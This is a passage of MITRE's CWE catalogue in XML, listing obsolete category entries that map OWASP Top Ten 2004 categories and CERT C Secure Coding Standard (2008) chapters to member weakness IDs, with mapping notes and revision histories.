            <Has_Member CWE_ID="644" View_ID="711"/>
            <Has_Member CWE_ID="79" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-584"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="726" Name="OWASP Top Ten 2004 Category A5 - Buffer Overflows" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="119" View_ID="711"/>
            <Has_Member CWE_ID="120" View_ID="711"/>
            <Has_Member CWE_ID="134" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-585"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="727" Name="OWASP Top Ten 2004 Category A6 - Injection Flaws" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="117" View_ID="711"/>
            <Has_Member CWE_ID="74" View_ID="711"/>
            <Has_Member CWE_ID="77" View_ID="711"/>
            <Has_Member CWE_ID="78" View_ID="711"/>
            <Has_Member CWE_ID="89" View_ID="711"/>
            <Has_Member CWE_ID="91" View_ID="711"/>
            <Has_Member CWE_ID="95" View_ID="711"/>
            <Has_Member CWE_ID="98" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-586"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="728" Name="OWASP Top Ten 2004 Category A7 - Improper Error Handling" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="203" View_ID="711"/>
            <Has_Member CWE_ID="209" View_ID="711"/>
            <Has_Member CWE_ID="228" View_ID="711"/>
            <Has_Member CWE_ID="252" View_ID="711"/>
            <Has_Member CWE_ID="389" View_ID="711"/>
            <Has_Member CWE_ID="390" View_ID="711"/>
            <Has_Member CWE_ID="391" View_ID="711"/>
            <Has_Member CWE_ID="394" View_ID="711"/>
            <Has_Member CWE_ID="636" View_ID="711"/>
            <Has_Member CWE_ID="7" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-587"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="729" Name="OWASP Top Ten 2004 Category A8 - Insecure Storage" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="14" View_ID="711"/>
            <Has_Member CWE_ID="226" View_ID="711"/>
            <Has_Member CWE_ID="261" View_ID="711"/>
            <Has_Member CWE_ID="311" View_ID="711"/>
            <Has_Member CWE_ID="321" View_ID="711"/>
            <Has_Member CWE_ID="326" View_ID="711"/>
            <Has_Member CWE_ID="327" View_ID="711"/>
            <Has_Member CWE_ID="539" View_ID="711"/>
            <Has_Member CWE_ID="591" View_ID="711"/>
            <Has_Member CWE_ID="598" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-588"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="730" Name="OWASP Top Ten 2004 Category A9 - Denial of Service" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="170" View_ID="711"/>
            <Has_Member CWE_ID="248" View_ID="711"/>
            <Has_Member CWE_ID="369" View_ID="711"/>
            <Has_Member CWE_ID="382" View_ID="711"/>
            <Has_Member CWE_ID="400" View_ID="711"/>
            <Has_Member CWE_ID="401" View_ID="711"/>
            <Has_Member CWE_ID="404" View_ID="711"/>
            <Has_Member CWE_ID="405" View_ID="711"/>
            <Has_Member CWE_ID="410" View_ID="711"/>
            <Has_Member CWE_ID="412" View_ID="711"/>
            <Has_Member CWE_ID="476" View_ID="711"/>
            <Has_Member CWE_ID="674" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-590"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="731" Name="OWASP Top Ten 2004 Category A10 - Insecure Configuration Management" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.</Summary>
         <Relationships>
            <Has_Member CWE_ID="209" View_ID="711"/>
            <Has_Member CWE_ID="215" View_ID="711"/>
            <Has_Member CWE_ID="219" View_ID="711"/>
            <Has_Member CWE_ID="275" View_ID="711"/>
            <Has_Member CWE_ID="295" View_ID="711"/>
            <Has_Member CWE_ID="5" View_ID="711"/>
            <Has_Member CWE_ID="555" View_ID="711"/>
            <Has_Member CWE_ID="6" View_ID="711"/>
            <Has_Member CWE_ID="7" View_ID="711"/>
            <Has_Member CWE_ID="8" View_ID="711"/>
            <Has_Member CWE_ID="9" View_ID="711"/>
            <Has_Member CWE_ID="459" View_ID="711"/>
            <Has_Member CWE_ID="489" View_ID="711"/>
            <Has_Member CWE_ID="11" View_ID="711"/>
            <Has_Member CWE_ID="12" View_ID="711"/>
            <Has_Member CWE_ID="13" View_ID="711"/>
            <Has_Member CWE_ID="520" View_ID="711"/>
            <Has_Member CWE_ID="554" View_ID="711"/>
            <Has_Member CWE_ID="556" View_ID="711"/>
            <Has_Member CWE_ID="526" View_ID="711"/>
            <Has_Member CWE_ID="527" View_ID="711"/>
            <Has_Member CWE_ID="528" View_ID="711"/>
            <Has_Member CWE_ID="529" View_ID="711"/>
            <Has_Member CWE_ID="530" View_ID="711"/>
            <Has_Member CWE_ID="531" View_ID="711"/>
            <Has_Member CWE_ID="532" View_ID="711"/>
            <Has_Member CWE_ID="540" View_ID="711"/>
            <Has_Member CWE_ID="541" View_ID="711"/>
            <Has_Member CWE_ID="548" View_ID="711"/>
            <Has_Member CWE_ID="552" View_ID="711"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-591"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2008-08-15</Submission_Date>
               <Submission_Comment>Suggested creation of view and provided mappings</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="735" Name="CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="684" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-684 PRE09-C Do not replace secure functions with less secure functions</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 01 - Preprocessor (PRE)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 01 - Preprocessor (PRE)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="736" Name="CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="547" View_ID="734"/>
            <Has_Member CWE_ID="628" View_ID="734"/>
            <Has_Member CWE_ID="686" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-547 DCL06-C Use meaningful symbolic constants to represent literal values in program logic</xhtml:li>
                     <xhtml:li>CWE-628 DCL10-C Maintain the contract between the writer and caller of variadic functions</xhtml:li>
                     <xhtml:li>CWE-686 DCL35-C Do not invoke a function using a type that does not match the function definition</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 02 - Declarations and Initialization (DCL)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="737" Name="CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="467" View_ID="734"/>
            <Has_Member CWE_ID="468" View_ID="734"/>
            <Has_Member CWE_ID="476" View_ID="734"/>
            <Has_Member CWE_ID="628" View_ID="734"/>
            <Has_Member CWE_ID="704" View_ID="734"/>
            <Has_Member CWE_ID="783" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-467 EXP01-C Do not take the size of a pointer to determine the size of the pointed-to type</xhtml:li>
                     <xhtml:li>CWE-468 EXP08-C Ensure pointer arithmetic is used correctly</xhtml:li>
                     <xhtml:li>CWE-476 EXP34-C Ensure a null pointer is not dereferenced</xhtml:li>
                     <xhtml:li>CWE-628 EXP37-C Call functions with the arguments intended by the API</xhtml:li>
                     <xhtml:li>CWE-704 EXP05-C Do not cast away a const qualification</xhtml:li>
                     <xhtml:li>CWE-783 EXP00-C Use parentheses for precedence of operation</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 03 - Expressions (EXP)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 03 - Expressions (EXP)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="738" Name="CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Integers (INT) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="129" View_ID="734"/>
            <Has_Member CWE_ID="190" View_ID="734"/>
            <Has_Member CWE_ID="192" View_ID="734"/>
            <Has_Member CWE_ID="197" View_ID="734"/>
            <Has_Member CWE_ID="20" View_ID="734"/>
            <Has_Member CWE_ID="369" View_ID="734"/>
            <Has_Member CWE_ID="466" View_ID="734"/>
            <Has_Member CWE_ID="587" View_ID="734"/>
            <Has_Member CWE_ID="606" View_ID="734"/>
            <Has_Member CWE_ID="676" View_ID="734"/>
            <Has_Member CWE_ID="681" View_ID="734"/>
            <Has_Member CWE_ID="682" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-20 INT06-C Use strtol() or a related function to convert a string token to an integer</xhtml:li>
                     <xhtml:li>CWE-129 INT32-C Ensure that operations on signed integers do not result in overflow</xhtml:li>
                     <xhtml:li>CWE-190 INT03-C Use a secure integer library</xhtml:li>
                     <xhtml:li>CWE-190 INT30-C Ensure that unsigned integer operations do not wrap</xhtml:li>
                     <xhtml:li>CWE-190 INT32-C Ensure that operations on signed integers do not result in overflow</xhtml:li>
                     <xhtml:li>CWE-190 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size</xhtml:li>
                     <xhtml:li>CWE-192 INT02-C Understand integer conversion rules</xhtml:li>
                     <xhtml:li>CWE-192 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs</xhtml:li>
                     <xhtml:li>CWE-192 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data</xhtml:li>
                     <xhtml:li>CWE-197 INT02-C Understand integer conversion rules</xhtml:li>
                     <xhtml:li>CWE-197 INT05-C Do not use input functions to convert character data if they cannot handle all possible inputs</xhtml:li>
                     <xhtml:li>CWE-197 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data</xhtml:li>
                     <xhtml:li>CWE-369 INT33-C Ensure that division and modulo operations do not result in divide-by-zero errors</xhtml:li>
                     <xhtml:li>CWE-466 INT11-C Take care when converting from pointer to integer or integer to pointer</xhtml:li>
                     <xhtml:li>CWE-587 INT11-C Take care when converting from pointer to integer or integer to pointer</xhtml:li>
                     <xhtml:li>CWE-606 INT03-C Use a secure integer library</xhtml:li>
                     <xhtml:li>CWE-676 INT06-C Use strtol() or a related function to convert a string token to an integer</xhtml:li>
                     <xhtml:li>CWE-681 INT15-C Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types</xhtml:li>
                     <xhtml:li>CWE-681 INT31-C Ensure that integer conversions do not result in lost or misinterpreted data</xhtml:li>
                     <xhtml:li>CWE-681 INT35-C Evaluate integer expressions in a larger size before comparing or assigning to that size</xhtml:li>
                     <xhtml:li>CWE-682 INT07-C Use only explicitly signed or unsigned char type for numeric values</xhtml:li>
                     <xhtml:li>CWE-682 INT13-C Use bitwise operators only on unsigned operands</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationship_Notes</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">CERT C Secure Coding Section 04 - Integers (INT)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">CERT C Secure Coding (2008 Version) Section 04 - Integers (INT)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="739" Name="CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) chapter of the CERT C Secure Coding Standard (2008).</Summary>
         <Relationships>
            <Has_Member CWE_ID="369" View_ID="734"/>
            <Has_Member CWE_ID="681" View_ID="734"/>
            <Has_Member CWE_ID="682" View_ID="734"/>
            <Has_Member CWE_ID="686" View_ID="734"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-597"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>CWE-369 FLP03-C Detect and handle floating point errors</xhtml:li>
                     <xhtml:li>CWE-681 FLP33-C Convert integers to floating point for floating point operations</xhtml:li>
                     <xhtml:li>CWE-681 FLP34-C Ensure that floating point conversions are within range of the new type</xhtml:li>
                     <xhtml:li>CWE-682 FLP32-C Prevent or detect domain and range errors in math functions</xhtml:li>
                     <xhtml:li>CWE-682 FLP33-C Convert integers to floating point for floating point operations</xhtml:li>
                     <xhtml:li>CWE-686 FLP31-C Do not call functions expecting real values with complex values</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-11-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
